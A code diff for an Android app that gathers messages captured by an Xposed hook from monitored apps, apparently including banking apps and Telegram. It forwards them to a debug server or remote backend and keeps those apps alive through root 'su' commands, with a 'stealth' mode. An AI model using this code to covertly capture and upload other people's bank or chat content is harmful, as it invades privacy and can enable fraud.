PeriodicWorkRequest healthCheck = new PeriodicWorkRequest.Builder(
|
||||
NotificationHealthCheckWorker.class, 15, TimeUnit.MINUTES)
|
||||
.setConstraints(constraints)
|
||||
.build();
|
||||
WorkManager.getInstance(this).enqueueUniquePeriodicWork(
|
||||
"notification_health_check",
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
package com.miraclegarden.smsmessage;
|
||||
|
||||
/**
|
||||
* 应用运行配置。
|
||||
*/
|
||||
public final class AppConfig {
|
||||
|
||||
/** 是否上传到正式后端(judy88.xin) */
|
||||
public static final boolean ENABLE_SERVER_UPLOAD = false;
|
||||
|
||||
/** 是否转发到 PC 本地调试服务 */
|
||||
public static final boolean ENABLE_DEBUG_FORWARD = true;
|
||||
|
||||
/**
|
||||
* 调试服务地址。
|
||||
* USB + adb reverse: http://127.0.0.1:8765
|
||||
* Wi-Fi: http://<电脑局域网IP>:8765
|
||||
*/
|
||||
public static final String DEBUG_SERVER_URL = "http://127.0.0.1:8765";
|
||||
|
||||
/** 是否定期唤醒监听列表中的 App(保持进程 / Hook 加载) */
|
||||
public static final boolean ENABLE_MONITORED_APP_KEEP_ALIVE = true;
|
||||
|
||||
/** 保活间隔(分钟,WorkManager 最小 15) */
|
||||
public static final int MONITORED_APP_KEEP_ALIVE_MINUTES = 15;
|
||||
|
||||
/** 同一 App 两次唤醒最短间隔(分钟) */
|
||||
public static final int MONITORED_APP_WAKE_COOLDOWN_MINUTES = 10;
|
||||
|
||||
/** 优先使用 Root(monkey 唤醒 + 电池白名单),失败则普通 startActivity */
|
||||
public static final boolean KEEP_ALIVE_PREFER_ROOT = true;
|
||||
|
||||
/** Root 唤醒后是否自动返回桌面(减少停留在银行/TG 界面) */
|
||||
public static final boolean KEEP_ALIVE_RETURN_HOME = true;
|
||||
|
||||
private AppConfig() {
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,115 @@
|
||||
package com.miraclegarden.smsmessage;
|
||||
|
||||
import android.content.Context;
|
||||
import android.content.SharedPreferences;
|
||||
|
||||
/**
|
||||
* App 保活相关设置(SharedPreferences,可在设置页修改)。
|
||||
*/
|
||||
public final class KeepAliveSettings {
|
||||
|
||||
private static final String PREF = "keep_alive_settings";
|
||||
|
||||
private static final String KEY_ENABLED = "enabled";
|
||||
private static final String KEY_INTERVAL_MINUTES = "interval_minutes";
|
||||
private static final String KEY_COOLDOWN_MINUTES = "cooldown_minutes";
|
||||
private static final String KEY_PREFER_ROOT = "prefer_root";
|
||||
private static final String KEY_RETURN_HOME = "return_home";
|
||||
private static final String KEY_KILL_BEFORE_LAUNCH = "kill_before_launch";
|
||||
private static final String KEY_STEALTH_MODE = "stealth_mode";
|
||||
|
||||
public static final int MODE_STEALTH = 0;
|
||||
public static final int MODE_AGGRESSIVE = 1;
|
||||
|
||||
public static final int WORK_MANAGER_MIN_MINUTES = 15;
|
||||
|
||||
public static final int[] INTERVAL_OPTIONS = {1, 3, 5, 10, 15, 30, 45, 60};
|
||||
public static final int[] COOLDOWN_OPTIONS = {1, 3, 5, 10, 15, 20, 30};
|
||||
|
||||
private KeepAliveSettings() {
|
||||
}
|
||||
|
||||
private static SharedPreferences prefs(Context context) {
|
||||
return context.getApplicationContext().getSharedPreferences(PREF, Context.MODE_PRIVATE);
|
||||
}
|
||||
|
||||
public static boolean isEnabled(Context context) {
|
||||
return prefs(context).getBoolean(KEY_ENABLED, AppConfig.ENABLE_MONITORED_APP_KEEP_ALIVE);
|
||||
}
|
||||
|
||||
public static void setEnabled(Context context, boolean enabled) {
|
||||
prefs(context).edit().putBoolean(KEY_ENABLED, enabled).apply();
|
||||
}
|
||||
|
||||
public static int getIntervalMinutes(Context context) {
|
||||
int value = prefs(context).getInt(KEY_INTERVAL_MINUTES, AppConfig.MONITORED_APP_KEEP_ALIVE_MINUTES);
|
||||
return Math.max(1, value);
|
||||
}
|
||||
|
||||
public static void setIntervalMinutes(Context context, int minutes) {
|
||||
prefs(context).edit().putInt(KEY_INTERVAL_MINUTES, Math.max(1, minutes)).apply();
|
||||
}
|
||||
|
||||
public static int getCooldownMinutes(Context context) {
|
||||
int value = prefs(context).getInt(KEY_COOLDOWN_MINUTES, AppConfig.MONITORED_APP_WAKE_COOLDOWN_MINUTES);
|
||||
return Math.max(1, value);
|
||||
}
|
||||
|
||||
public static void setCooldownMinutes(Context context, int minutes) {
|
||||
prefs(context).edit().putInt(KEY_COOLDOWN_MINUTES, Math.max(1, minutes)).apply();
|
||||
}
|
||||
|
||||
public static boolean preferRoot(Context context) {
|
||||
return prefs(context).getBoolean(KEY_PREFER_ROOT, AppConfig.KEEP_ALIVE_PREFER_ROOT);
|
||||
}
|
||||
|
||||
public static void setPreferRoot(Context context, boolean preferRoot) {
|
||||
prefs(context).edit().putBoolean(KEY_PREFER_ROOT, preferRoot).apply();
|
||||
}
|
||||
|
||||
public static boolean returnHome(Context context) {
|
||||
return prefs(context).getBoolean(KEY_RETURN_HOME, AppConfig.KEEP_ALIVE_RETURN_HOME);
|
||||
}
|
||||
|
||||
public static void setReturnHome(Context context, boolean returnHome) {
|
||||
prefs(context).edit().putBoolean(KEY_RETURN_HOME, returnHome).apply();
|
||||
}
|
||||
|
||||
/** 启动前 force-stop,确保冷启动并重新加载 Hook(会稍慢) */
|
||||
public static boolean killBeforeLaunch(Context context) {
|
||||
return prefs(context).getBoolean(KEY_KILL_BEFORE_LAUNCH, false);
|
||||
}
|
||||
|
||||
public static void setKillBeforeLaunch(Context context, boolean killBeforeLaunch) {
|
||||
prefs(context).edit().putBoolean(KEY_KILL_BEFORE_LAUNCH, killBeforeLaunch).apply();
|
||||
}
|
||||
|
||||
/** 静默:进程在就不弹 App;激进:每次都唤起界面 */
|
||||
public static boolean isStealthMode(Context context) {
|
||||
return prefs(context).getInt(KEY_STEALTH_MODE, MODE_STEALTH) == MODE_STEALTH;
|
||||
}
|
||||
|
||||
public static void setStealthMode(Context context, boolean stealth) {
|
||||
prefs(context).edit()
|
||||
.putInt(KEY_STEALTH_MODE, stealth ? MODE_STEALTH : MODE_AGGRESSIVE)
|
||||
.apply();
|
||||
}
|
||||
|
||||
public static int indexOfInterval(int minutes) {
|
||||
for (int i = 0; i < INTERVAL_OPTIONS.length; i++) {
|
||||
if (INTERVAL_OPTIONS[i] == minutes) {
|
||||
return i;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
public static int indexOfCooldown(int minutes) {
|
||||
for (int i = 0; i < COOLDOWN_OPTIONS.length; i++) {
|
||||
if (COOLDOWN_OPTIONS[i] == minutes) {
|
||||
return i;
|
||||
}
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,101 @@
|
||||
package com.miraclegarden.smsmessage;
|
||||
|
||||
import android.content.Context;
|
||||
import android.content.SharedPreferences;
|
||||
import android.text.TextUtils;
|
||||
|
||||
import java.text.SimpleDateFormat;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Date;
|
||||
import java.util.List;
|
||||
import java.util.Locale;
|
||||
|
||||
/**
|
||||
* 监听日志持久化,App 在后台时也能保留历史,回到监听页可恢复显示。
|
||||
*/
|
||||
public final class MessageLogStore {
|
||||
|
||||
private static final String SP_NAME = "message_log";
|
||||
private static final String KEY_LINES = "lines";
|
||||
private static final int MAX_LINES = 500;
|
||||
private static final String SEP = "\u001E";
|
||||
|
||||
private MessageLogStore() {
|
||||
}
|
||||
|
||||
public static void append(Context context, String message) {
|
||||
if (context == null || TextUtils.isEmpty(message)) {
|
||||
return;
|
||||
}
|
||||
Context appContext = context.getApplicationContext();
|
||||
SimpleDateFormat format = new SimpleDateFormat("HH:mm:ss", Locale.getDefault());
|
||||
String line = format.format(new Date()) + " " + message;
|
||||
|
||||
SharedPreferences sp = appContext.getSharedPreferences(SP_NAME, Context.MODE_PRIVATE);
|
||||
String raw = sp.getString(KEY_LINES, "");
|
||||
List<String> lines = decode(raw);
|
||||
lines.add(line);
|
||||
while (lines.size() > MAX_LINES) {
|
||||
lines.remove(0);
|
||||
}
|
||||
sp.edit().putString(KEY_LINES, encode(lines)).apply();
|
||||
}
|
||||
|
||||
public static String getDisplayText(Context context) {
|
||||
if (context == null) {
|
||||
return "";
|
||||
}
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (String line : getLines(context)) {
|
||||
sb.append(line).append('\n');
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
public static List<String> getLines(Context context) {
|
||||
if (context == null) {
|
||||
return new ArrayList<>();
|
||||
}
|
||||
SharedPreferences sp = context.getApplicationContext()
|
||||
.getSharedPreferences(SP_NAME, Context.MODE_PRIVATE);
|
||||
return decode(sp.getString(KEY_LINES, ""));
|
||||
}
|
||||
|
||||
public static void clear(Context context) {
|
||||
if (context == null) {
|
||||
return;
|
||||
}
|
||||
context.getApplicationContext()
|
||||
.getSharedPreferences(SP_NAME, Context.MODE_PRIVATE)
|
||||
.edit()
|
||||
.remove(KEY_LINES)
|
||||
.apply();
|
||||
}
|
||||
|
||||
private static List<String> decode(String raw) {
|
||||
List<String> lines = new ArrayList<>();
|
||||
if (TextUtils.isEmpty(raw)) {
|
||||
return lines;
|
||||
}
|
||||
for (String part : raw.split(SEP, -1)) {
|
||||
if (!TextUtils.isEmpty(part)) {
|
||||
lines.add(part);
|
||||
}
|
||||
}
|
||||
return lines;
|
||||
}
|
||||
|
||||
private static String encode(List<String> lines) {
|
||||
if (lines == null || lines.isEmpty()) {
|
||||
return "";
|
||||
}
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (int i = 0; i < lines.size(); i++) {
|
||||
if (i > 0) {
|
||||
sb.append(SEP);
|
||||
}
|
||||
sb.append(lines.get(i));
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,113 @@
|
||||
package com.miraclegarden.smsmessage.network;
|
||||
|
||||
import android.content.Context;
|
||||
import android.text.TextUtils;
|
||||
import android.util.Log;
|
||||
|
||||
import com.miraclegarden.smsmessage.AppConfig;
|
||||
import com.miraclegarden.smsmessage.MessageInfo;
|
||||
|
||||
import org.json.JSONObject;
|
||||
|
||||
import java.util.concurrent.TimeUnit;
|
||||
|
||||
import okhttp3.Call;
|
||||
import okhttp3.Callback;
|
||||
import okhttp3.MediaType;
|
||||
import okhttp3.OkHttpClient;
|
||||
import okhttp3.Request;
|
||||
import okhttp3.RequestBody;
|
||||
import okhttp3.Response;
|
||||
|
||||
/**
|
||||
* 将抓取到的消息转发到 PC 本地调试服务,便于浏览器查看。
|
||||
*/
|
||||
public final class DebugForwarder {
|
||||
|
||||
private static final String TAG = "DebugForwarder";
|
||||
private static final MediaType JSON = MediaType.parse("application/json; charset=utf-8");
|
||||
|
||||
private static final OkHttpClient CLIENT = new OkHttpClient.Builder()
|
||||
.connectTimeout(5, TimeUnit.SECONDS)
|
||||
.writeTimeout(5, TimeUnit.SECONDS)
|
||||
.readTimeout(5, TimeUnit.SECONDS)
|
||||
.build();
|
||||
|
||||
private DebugForwarder() {
|
||||
}
|
||||
|
||||
public static void forward(Context context, MessageInfo messageInfo,
|
||||
String title, String content, long timestamp, String source) {
|
||||
forward(context, messageInfo, title, content, timestamp, source, null);
|
||||
}
|
||||
|
||||
public static void forward(Context context, MessageInfo messageInfo,
|
||||
String title, String content, long timestamp, String source,
|
||||
Runnable onComplete) {
|
||||
if (!AppConfig.ENABLE_DEBUG_FORWARD || messageInfo == null) {
|
||||
if (onComplete != null) {
|
||||
onComplete.run();
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
JSONObject json = new JSONObject();
|
||||
json.put("source", source != null ? source : "unknown");
|
||||
json.put("packageName", messageInfo.getPackageName());
|
||||
json.put("appName", messageInfo.getAppName());
|
||||
json.put("title", title != null ? title : "");
|
||||
json.put("group", resolveGroup(title, messageInfo));
|
||||
json.put("content", content != null ? content : "");
|
||||
json.put("timestamp", timestamp);
|
||||
|
||||
Request request = new Request.Builder()
|
||||
.url(AppConfig.DEBUG_SERVER_URL + "/api/debug/push")
|
||||
.header("Content-Type", "application/json")
|
||||
.post(RequestBody.create(json.toString(), JSON))
|
||||
.build();
|
||||
|
||||
Log.d(TAG, "forwarding [" + source + "] " + messageInfo.getPackageName()
|
||||
+ " -> " + AppConfig.DEBUG_SERVER_URL);
|
||||
|
||||
CLIENT.newCall(request).enqueue(new Callback() {
|
||||
@Override
|
||||
public void onFailure(Call call, java.io.IOException e) {
|
||||
Log.w(TAG, "forward failed [" + source + "]: " + e.getMessage());
|
||||
if (onComplete != null) {
|
||||
onComplete.run();
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onResponse(Call call, Response response) {
|
||||
int code = response.code();
|
||||
response.close();
|
||||
if (code >= 200 && code < 300) {
|
||||
Log.d(TAG, "forward ok [" + source + "] " + title);
|
||||
} else {
|
||||
Log.w(TAG, "forward http " + code + " [" + source + "] " + title);
|
||||
}
|
||||
if (onComplete != null) {
|
||||
onComplete.run();
|
||||
}
|
||||
}
|
||||
});
|
||||
} catch (Exception e) {
|
||||
Log.w(TAG, "forward build failed: " + e.getMessage());
|
||||
if (onComplete != null) {
|
||||
onComplete.run();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static String resolveGroup(String title, MessageInfo messageInfo) {
|
||||
if (!TextUtils.isEmpty(title)) {
|
||||
return title.trim();
|
||||
}
|
||||
if (messageInfo != null && !TextUtils.isEmpty(messageInfo.getAppName())) {
|
||||
return messageInfo.getAppName();
|
||||
}
|
||||
return "未分类";
|
||||
}
|
||||
}
|
||||
@@ -17,7 +17,9 @@ public class BootReceiver extends BroadcastReceiver {
|
||||
String action = intent.getAction();
|
||||
if (Intent.ACTION_BOOT_COMPLETED.equals(action)) {
|
||||
new Handler(Looper.getMainLooper()).postDelayed(() -> {
|
||||
NotificationService.requestStartMonitoring(context);
|
||||
if (NotificationService.isMonitoringActive(context)) {
|
||||
NotificationService.requestStartMonitoring(context);
|
||||
}
|
||||
}, BOOT_DELAY_MS);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,80 @@
|
||||
package com.miraclegarden.smsmessage.service;
|
||||
|
||||
import android.content.BroadcastReceiver;
|
||||
import android.content.Context;
|
||||
import android.content.Intent;
|
||||
import android.text.TextUtils;
|
||||
import android.util.Log;
|
||||
|
||||
import com.miraclegarden.smsmessage.Activity.NotificationActivity;
|
||||
import com.miraclegarden.smsmessage.App;
|
||||
import com.miraclegarden.smsmessage.AppConfig;
|
||||
import com.miraclegarden.smsmessage.MessageInfo;
|
||||
import com.miraclegarden.smsmessage.network.DebugForwarder;
|
||||
|
||||
/**
|
||||
* 接收 Xposed 模块转发的消息(Hook 通道)。
|
||||
* 在 Receiver 内直接转发到 PC,避免依赖 startService(后台易被系统拦截)。
|
||||
*/
|
||||
public class HookMessageReceiver extends BroadcastReceiver {
|
||||
|
||||
private static final String TAG = "HookMessageReceiver";
|
||||
|
||||
public static final String ACTION_HOOK_MESSAGE = "com.miraclegarden.smsmessage.action.HOOK_MESSAGE";
|
||||
public static final String EXTRA_PACKAGE_NAME = "packageName";
|
||||
public static final String EXTRA_TITLE = "title";
|
||||
public static final String EXTRA_CONTENT = "content";
|
||||
public static final String EXTRA_TIMESTAMP = "timestamp";
|
||||
public static final String EXTRA_SOURCE = "source";
|
||||
|
||||
@Override
|
||||
public void onReceive(Context context, Intent intent) {
|
||||
if (intent == null || !ACTION_HOOK_MESSAGE.equals(intent.getAction())) {
|
||||
return;
|
||||
}
|
||||
|
||||
String packageName = intent.getStringExtra(EXTRA_PACKAGE_NAME);
|
||||
String title = intent.getStringExtra(EXTRA_TITLE);
|
||||
String content = intent.getStringExtra(EXTRA_CONTENT);
|
||||
long timestamp = intent.getLongExtra(EXTRA_TIMESTAMP, System.currentTimeMillis());
|
||||
String source = intent.getStringExtra(EXTRA_SOURCE);
|
||||
|
||||
if (TextUtils.isEmpty(packageName) || TextUtils.isEmpty(content)) {
|
||||
Log.w(TAG, "ignore hook: empty package or content");
|
||||
return;
|
||||
}
|
||||
|
||||
MessageInfo messageInfo = App.getMessageByNotiList(context, packageName);
|
||||
if (messageInfo == null) {
|
||||
Log.w(TAG, "ignore hook: not in monitor list, pkg=" + packageName);
|
||||
NotificationActivity.sendMessage("[Hook] 未配置监听: " + packageName);
|
||||
return;
|
||||
}
|
||||
|
||||
if (TextUtils.isEmpty(title)) {
|
||||
title = messageInfo.getAppName();
|
||||
}
|
||||
|
||||
Log.i(TAG, "hook received: pkg=" + packageName + " source=" + source + " title=" + title);
|
||||
|
||||
final String finalTitle = title;
|
||||
NotificationActivity.sendMessage("[Hook/" + source + "] " + finalTitle + " " + content);
|
||||
|
||||
Context appContext = context.getApplicationContext();
|
||||
PendingResult pendingResult = goAsync();
|
||||
|
||||
Runnable finish = pendingResult::finish;
|
||||
Runnable afterForward = () -> {
|
||||
if (AppConfig.ENABLE_SERVER_UPLOAD) {
|
||||
NotificationService.submitFromHook(appContext, messageInfo, finalTitle, content, timestamp, source);
|
||||
}
|
||||
finish.run();
|
||||
};
|
||||
|
||||
if (AppConfig.ENABLE_DEBUG_FORWARD) {
|
||||
DebugForwarder.forward(appContext, messageInfo, finalTitle, content, timestamp, source, afterForward);
|
||||
} else {
|
||||
afterForward.run();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,336 @@
|
||||
package com.miraclegarden.smsmessage.service;
|
||||
|
||||
import android.app.ActivityManager;
|
||||
import android.content.Context;
|
||||
import android.content.Intent;
|
||||
import android.content.pm.PackageManager;
|
||||
import android.content.pm.ResolveInfo;
|
||||
import android.text.TextUtils;
|
||||
import android.util.Log;
|
||||
|
||||
import com.miraclegarden.smsmessage.App;
|
||||
import com.miraclegarden.smsmessage.KeepAliveSettings;
|
||||
import com.miraclegarden.smsmessage.Activity.NotificationActivity;
|
||||
import com.miraclegarden.smsmessage.MessageInfo;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.InputStreamReader;
|
||||
import java.util.List;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
|
||||
/**
|
||||
* 唤醒监听列表中的 App,使其进程启动、Xposed Hook 重新加载。
|
||||
* Root 设备:monkey 轻量启动 + 可选返回桌面 + 电池白名单。
|
||||
*/
|
||||
public final class MonitoredAppActivator {
|
||||
|
||||
private static final String TAG = "MonitoredAppActivator";
|
||||
private static final String PREF = "keep_alive";
|
||||
private static final String KEY_LAST_WAKE_PREFIX = "last_wake_";
|
||||
|
||||
private MonitoredAppActivator() {
|
||||
}
|
||||
|
||||
public static void activateAllAsync(Context context) {
|
||||
if (!KeepAliveSettings.isEnabled(context)) {
|
||||
return;
|
||||
}
|
||||
Context appContext = context.getApplicationContext();
|
||||
new Thread(() -> activateAll(appContext), "MonitoredAppActivator").start();
|
||||
}
|
||||
|
||||
public static void activateAll(Context context) {
|
||||
if (!KeepAliveSettings.isEnabled(context)) {
|
||||
return;
|
||||
}
|
||||
if (!NotificationService.isMonitoringActive(context)) {
|
||||
Log.d(TAG, "skip activate: monitoring off");
|
||||
return;
|
||||
}
|
||||
|
||||
List<MessageInfo> apps = App.getNotiList(context);
|
||||
if (apps.isEmpty()) {
|
||||
return;
|
||||
}
|
||||
|
||||
Log.i(TAG, "activating " + apps.size() + " monitored app(s)");
|
||||
NotificationActivity.sendMessage("正在唤醒监听 App(" + apps.size() + " 个)...");
|
||||
|
||||
int ok = 0;
|
||||
for (MessageInfo info : apps) {
|
||||
if (info == null || TextUtils.isEmpty(info.getPackageName())) {
|
||||
continue;
|
||||
}
|
||||
if (context.getPackageName().equals(info.getPackageName())) {
|
||||
continue;
|
||||
}
|
||||
if (activateOne(context, info)) {
|
||||
ok++;
|
||||
}
|
||||
}
|
||||
|
||||
NotificationService.toggleNotificationListenerService(context);
|
||||
NotificationActivity.sendMessage("App 保活完成: " + ok + "/" + apps.size());
|
||||
}
|
||||
|
||||
private static boolean activateOne(Context context, MessageInfo info) {
|
||||
String pkg = info.getPackageName();
|
||||
String label = !TextUtils.isEmpty(info.getAppName()) ? info.getAppName() : pkg;
|
||||
|
||||
if (isInCooldown(context, pkg)) {
|
||||
Log.d(TAG, "skip cooldown: " + pkg);
|
||||
NotificationActivity.sendMessage("[保活] " + label + " 冷却中,稍后重试");
|
||||
return false;
|
||||
}
|
||||
|
||||
applyBatteryWhitelist(pkg);
|
||||
boolean wasAlive = isProcessAlive(context, pkg);
|
||||
|
||||
if (wasAlive && KeepAliveSettings.isStealthMode(context)) {
|
||||
if (!isProcessCached(context, pkg)) {
|
||||
Log.d(TAG, "stealth skip (active): " + pkg);
|
||||
return true;
|
||||
}
|
||||
Log.i(TAG, "stealth headless wake (cached): " + pkg);
|
||||
if (wakeHeadlessByRoot(pkg)) {
|
||||
markWake(context, pkg);
|
||||
NotificationActivity.sendMessage("[保活] " + label + " 已唤醒后台进程(无界面)");
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
if (KeepAliveSettings.killBeforeLaunch(context) && KeepAliveSettings.preferRoot(context)) {
|
||||
forceStopByRoot(pkg);
|
||||
sleepQuietly(800);
|
||||
wasAlive = false;
|
||||
}
|
||||
|
||||
boolean success = false;
|
||||
if (KeepAliveSettings.preferRoot(context)) {
|
||||
success = wakeByRoot(context, pkg);
|
||||
}
|
||||
if (!success) {
|
||||
success = wakeByLaunchIntent(context, pkg);
|
||||
}
|
||||
|
||||
if (success) {
|
||||
markWake(context, pkg);
|
||||
if (KeepAliveSettings.returnHome(context) && KeepAliveSettings.preferRoot(context)) {
|
||||
long homeDelay = KeepAliveSettings.isStealthMode(context) ? 400L : 1500L;
|
||||
sleepQuietly(homeDelay);
|
||||
pressHomeByRoot();
|
||||
}
|
||||
NotificationActivity.sendMessage("[保活] " + label + " 已启动");
|
||||
Log.i(TAG, "woke " + pkg);
|
||||
} else {
|
||||
NotificationActivity.sendMessage("[保活] " + label + " 唤起失败(检查 Root / Magisk 授权)");
|
||||
Log.w(TAG, "wake failed " + pkg);
|
||||
}
|
||||
return success;
|
||||
}
|
||||
|
||||
private static void forceStopByRoot(String packageName) {
|
||||
try {
|
||||
Runtime.getRuntime().exec(new String[]{
|
||||
"su", "-c", "am force-stop " + packageName
|
||||
}).waitFor();
|
||||
} catch (Throwable t) {
|
||||
Log.w(TAG, "force-stop failed " + packageName + ": " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static boolean isInCooldown(Context context, String packageName) {
|
||||
long last = context.getSharedPreferences(PREF, Context.MODE_PRIVATE)
|
||||
.getLong(KEY_LAST_WAKE_PREFIX + packageName, 0L);
|
||||
long cooldownMs = TimeUnit.MINUTES.toMillis(KeepAliveSettings.getCooldownMinutes(context));
|
||||
return System.currentTimeMillis() - last < cooldownMs;
|
||||
}
|
||||
|
||||
private static void markWake(Context context, String packageName) {
|
||||
context.getSharedPreferences(PREF, Context.MODE_PRIVATE)
|
||||
.edit()
|
||||
.putLong(KEY_LAST_WAKE_PREFIX + packageName, System.currentTimeMillis())
|
||||
.apply();
|
||||
}
|
||||
|
||||
private static boolean isProcessAlive(Context context, String packageName) {
|
||||
if (isProcessAliveByRoot(packageName)) {
|
||||
return true;
|
||||
}
|
||||
ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
|
||||
if (am == null) {
|
||||
return false;
|
||||
}
|
||||
List<ActivityManager.RunningAppProcessInfo> processes = am.getRunningAppProcesses();
|
||||
if (processes == null) {
|
||||
return false;
|
||||
}
|
||||
for (ActivityManager.RunningAppProcessInfo info : processes) {
|
||||
if (packageName.equals(info.processName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/** 进程在但已被系统冻结(cached),此时 TG 可能不处理推送。 */
|
||||
private static boolean isProcessCached(Context context, String packageName) {
|
||||
ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
|
||||
if (am == null) {
|
||||
return false;
|
||||
}
|
||||
List<ActivityManager.RunningAppProcessInfo> processes = am.getRunningAppProcesses();
|
||||
if (processes == null) {
|
||||
return false;
|
||||
}
|
||||
for (ActivityManager.RunningAppProcessInfo info : processes) {
|
||||
if (!packageName.equals(info.processName)) {
|
||||
continue;
|
||||
}
|
||||
return info.importance >= ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/** 无界面唤醒 TG 前台 Service,让后台继续收推送。 */
|
||||
private static boolean wakeHeadlessByRoot(String packageName) {
|
||||
if (!packageName.contains("telegram")) {
|
||||
return false;
|
||||
}
|
||||
String component = packageName + "/org.telegram.messenger.NotificationsService";
|
||||
try {
|
||||
Process process = Runtime.getRuntime().exec(new String[]{
|
||||
"su", "-c", "am start-foreground-service -n " + component
|
||||
});
|
||||
if (process.waitFor() == 0) {
|
||||
return true;
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
Log.w(TAG, "headless fgs wake failed " + packageName + ": " + t.getMessage());
|
||||
}
|
||||
try {
|
||||
Process process = Runtime.getRuntime().exec(new String[]{
|
||||
"su", "-c", "am startservice -n " + component
|
||||
});
|
||||
return process.waitFor() == 0;
|
||||
} catch (Throwable t) {
|
||||
Log.w(TAG, "headless service wake failed " + packageName + ": " + t.getMessage());
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private static boolean isProcessAliveByRoot(String packageName) {
|
||||
try {
|
||||
Process process = Runtime.getRuntime().exec(new String[]{"su", "-c", "pidof " + packageName});
|
||||
try (BufferedReader reader = new BufferedReader(
|
||||
new InputStreamReader(process.getInputStream()))) {
|
||||
String line = reader.readLine();
|
||||
return process.waitFor() == 0 && line != null && !line.trim().isEmpty();
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private static boolean wakeByRoot(Context context, String packageName) {
|
||||
String component = resolveLauncherComponent(context, packageName);
|
||||
if (!TextUtils.isEmpty(component)) {
|
||||
try {
|
||||
Process process = Runtime.getRuntime().exec(new String[]{
|
||||
"su", "-c",
|
||||
"am start -n " + component
|
||||
+ " -a android.intent.action.MAIN"
|
||||
+ " -c android.intent.category.LAUNCHER"
|
||||
+ " --activity-brought-to-front"
|
||||
+ " --activity-no-animation"
|
||||
});
|
||||
if (process.waitFor() == 0) {
|
||||
return true;
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
Log.w(TAG, "am start failed " + packageName + ": " + t.getMessage());
|
||||
}
|
||||
}
|
||||
try {
|
||||
Process process = Runtime.getRuntime().exec(new String[]{
|
||||
"su", "-c",
|
||||
"monkey -p " + packageName + " -c android.intent.category.LAUNCHER 1"
|
||||
});
|
||||
return process.waitFor() == 0;
|
||||
} catch (Throwable t) {
|
||||
Log.w(TAG, "monkey wake failed " + packageName + ": " + t.getMessage());
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private static String resolveLauncherComponent(Context context, String packageName) {
|
||||
try {
|
||||
PackageManager pm = context.getPackageManager();
|
||||
Intent intent = pm.getLaunchIntentForPackage(packageName);
|
||||
if (intent != null && intent.getComponent() != null) {
|
||||
return intent.getComponent().flattenToShortString();
|
||||
}
|
||||
Intent query = new Intent(Intent.ACTION_MAIN);
|
||||
query.addCategory(Intent.CATEGORY_LAUNCHER);
|
||||
query.setPackage(packageName);
|
||||
List<ResolveInfo> list = pm.queryIntentActivities(query, 0);
|
||||
if (!list.isEmpty()) {
|
||||
return list.get(0).activityInfo.packageName + "/"
|
||||
+ list.get(0).activityInfo.name;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private static boolean wakeByLaunchIntent(Context context, String packageName) {
|
||||
try {
|
||||
PackageManager pm = context.getPackageManager();
|
||||
Intent intent = pm.getLaunchIntentForPackage(packageName);
|
||||
if (intent == null) {
|
||||
Intent query = new Intent(Intent.ACTION_MAIN);
|
||||
query.addCategory(Intent.CATEGORY_LAUNCHER);
|
||||
query.setPackage(packageName);
|
||||
List<ResolveInfo> list = pm.queryIntentActivities(query, 0);
|
||||
if (list.isEmpty()) {
|
||||
return false;
|
||||
}
|
||||
intent = new Intent(Intent.ACTION_MAIN);
|
||||
intent.addCategory(Intent.CATEGORY_LAUNCHER);
|
||||
intent.setClassName(list.get(0).activityInfo.packageName, list.get(0).activityInfo.name);
|
||||
}
|
||||
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK
|
||||
| Intent.FLAG_ACTIVITY_CLEAR_TOP
|
||||
| Intent.FLAG_ACTIVITY_NO_ANIMATION);
|
||||
context.startActivity(intent);
|
||||
return true;
|
||||
} catch (Throwable t) {
|
||||
Log.w(TAG, "launch wake failed " + packageName + ": " + t.getMessage());
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private static void applyBatteryWhitelist(String packageName) {
|
||||
try {
|
||||
Runtime.getRuntime().exec(new String[]{
|
||||
"su", "-c", "dumpsys deviceidle whitelist +" + packageName
|
||||
}).waitFor();
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private static void pressHomeByRoot() {
|
||||
try {
|
||||
Runtime.getRuntime().exec(new String[]{"su", "-c", "input keyevent 3"}).waitFor();
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private static void sleepQuietly(long ms) {
|
||||
try {
|
||||
Thread.sleep(ms);
|
||||
} catch (InterruptedException e) {
|
||||
Thread.currentThread().interrupt();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
package com.miraclegarden.smsmessage.service;
|
||||
|
||||
import android.content.Context;
|
||||
import android.os.Handler;
|
||||
